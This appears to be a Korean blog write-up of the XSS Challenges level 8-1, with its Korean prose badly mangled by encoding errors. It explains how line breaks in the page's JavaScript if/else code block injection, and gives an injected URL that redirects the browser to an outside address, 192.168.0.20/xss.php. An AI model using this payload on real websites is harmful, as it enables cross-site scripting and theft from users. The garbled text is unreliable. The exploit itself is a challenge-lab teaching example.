ํฐ์คํ ๋ฆฌ ๋ทฐ
์กฐ๊ฑด๋ฌธ์ด ์ฌ์ฉ๋ 8 Level์ ์ด์ด์ 8-1 Level๊น์ง ํ๋ฒ ํ์ด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก ๋งํฌ ํ๊ทธ๋ ์ ๋ ฅ์ ๋ฐ๋ ํผ์ด ๋ฐ๋ก ์กด์ฌํ์ง ์์ผ๋ฉฐ URL ํ๋ผ๋ฏธํฐ์ ์ ๋นํ ๋ฌธ์์ด์ ์ฝ์ ํ๋๋ก ํ๊ณ ์์ต๋๋ค.
ํ์ด์ง ์์ค๋ฅผ ๋ณด์๋ฉด 8 Level ์์ค์ ์ ์ฌํด ๋ณด์ด์ง๋ง ์กฐ๊ธ ๋ค๋ฅธ ํํ๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. ์คํฌ๋ฆฝํธ์ฝ๋๋ ๋ง์ฐฌ๊ฐ์ง๋ก ์คํ๋์ง ์๊ณ ์์ผ๋ฉฐ ์ด์ ๋ ๋ฐ๋ก "์ค ๋ฐ๊ฟ"์ ์์ต๋๋ค.
์ด 2๊ณณ์ ์ค๋ฐ๊ฟ ์ฒ๋ฆฌ๊ฐ ๋์ด ์์ต๋๋ค. if ( b == 2 ){a = "Your_Payload"} ๋นจ๊ฐ์์ผ๋ก ์ฒ๋ฆฌ๋ ๋ถ๋ถ์์ค ๋ฐ๊ฟ์ผ๋ก ์ธํด ์ ๋ ฅ๋ ๋ฌธ์์ด์ด ์ค๋ฅ๊ฐ ๋ฐ์ํ๊ณ ์์ต๋๋ค.
๋ง์ง๋ง ๋ฌธ๋จ๋ผ์ธ์ " } " ๋ซํ์ ์ ๋ง๊ฒ ๋ฌธ์์ด ์กฐ์ ์ ํ๋ฉด ๋๊ฒ ์ง๋ง ์ฒซ ๋ฒ์งธ " { " ์ค ๋ฐ๋์ผ๋ก ์ธํด else ์กฐ๊ฑด๋ฌธ์ด ์ ๋๋ก ๋จนํ์ง ์๊ณ ์์ต๋๋ค.
์ด๋ด ๋ "๋ค์ค ์กฐ๊ฑด" ๋ฌธ์ ์ด์ฉํ๋ฉด ๋ฉ๋๋ค. ์ฆ ์ฒซ ๋ฒ์งธ ์กฐ๊ฑด๋ฌธ์ธ b == 2์ ์คํ ๋ถ๋ถ์ด ์ค ๋ฐ๊ฟ์ด ๋์ด ์์ผ๋ ์๋กTRUE(else if) ์กฐ๊ฑด์ ๋ช ์ํด์ฃผ๊ณ ๊ทธ๋ค์์ ์ ์์ ์ธ ์ฃผ์๋ก ๋๊ธธ ์ ์๋ FALSE(else) ๋ฌธ์ ์์ฑํด์ค์ผ ๋ฉ๋๋ค.
์ ๋จ๊ณ ๋ ๋ฒจ์์๋ ์ค๋ช ํ์์ง๋ง FALSE ์์ญ์ ์คํ ์ฝ๋๋ฅผ ์์ฑํ๋ ์ด์ ๋ b์ ์ ๋๊ฐ์ด "1"๋ก ๋ช ์๋์ด ์๊ธฐ ๋๋ฌธ์ TRUE(์ฐธ) ๊ฐ์ผ๋ก ์ํ๋ ์คํ์ ํ ์๊ฐ ์์ต๋๋ค.
๋งจ ํ๋จ์ " } " ๋ถ๋ถ๋ ์ค ๋ฐ๊ฟ ์ฒ๋ฆฌ๊ฐ ๋์ด ์๊ธฐ ๋๋ฌธ์ 8 ๋ ๋ฒจ์ ๋ฌธ์ ์ฒ๋ผ //(์ฃผ์)์ผ๋ก ๋ฌด์ํ ์๊ฐ ์๊ธฐ ๋๋ฌธ์ ์ฃผ์์ ๋ซ๋ ๋ถ๋ถ์ ๊ทธ๋๋ก ์ด์ด๋ ์ํ๋ก ์ฝ๋๋ฅผ ์ฝ์ ํด์ฃผ์๋ฉด ์ํ๋ ๊ฒฐ๊ณผ๋ฅผ ์ป์ผ์ค ์ ์์ต๋๋ค.
Exploit Code
www.sudo.co.il/xss/level8-1.php?p=" } else if ( b == 2 ){ a = "" }else{document.location.href="192.168.0.20/xss.php
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
XSS Challenges 10 (0) | 2021.08.26 |
---|---|
XSS Challenges 9 (0) | 2021.08.25 |
[LOS] Dragon ํ์ด(20) (0) | 2020.12.11 |
XSS Challenges 8 (0) | 2020.12.11 |
[LOS] Xavis ํ์ด(19) (0) | 2020.12.10 |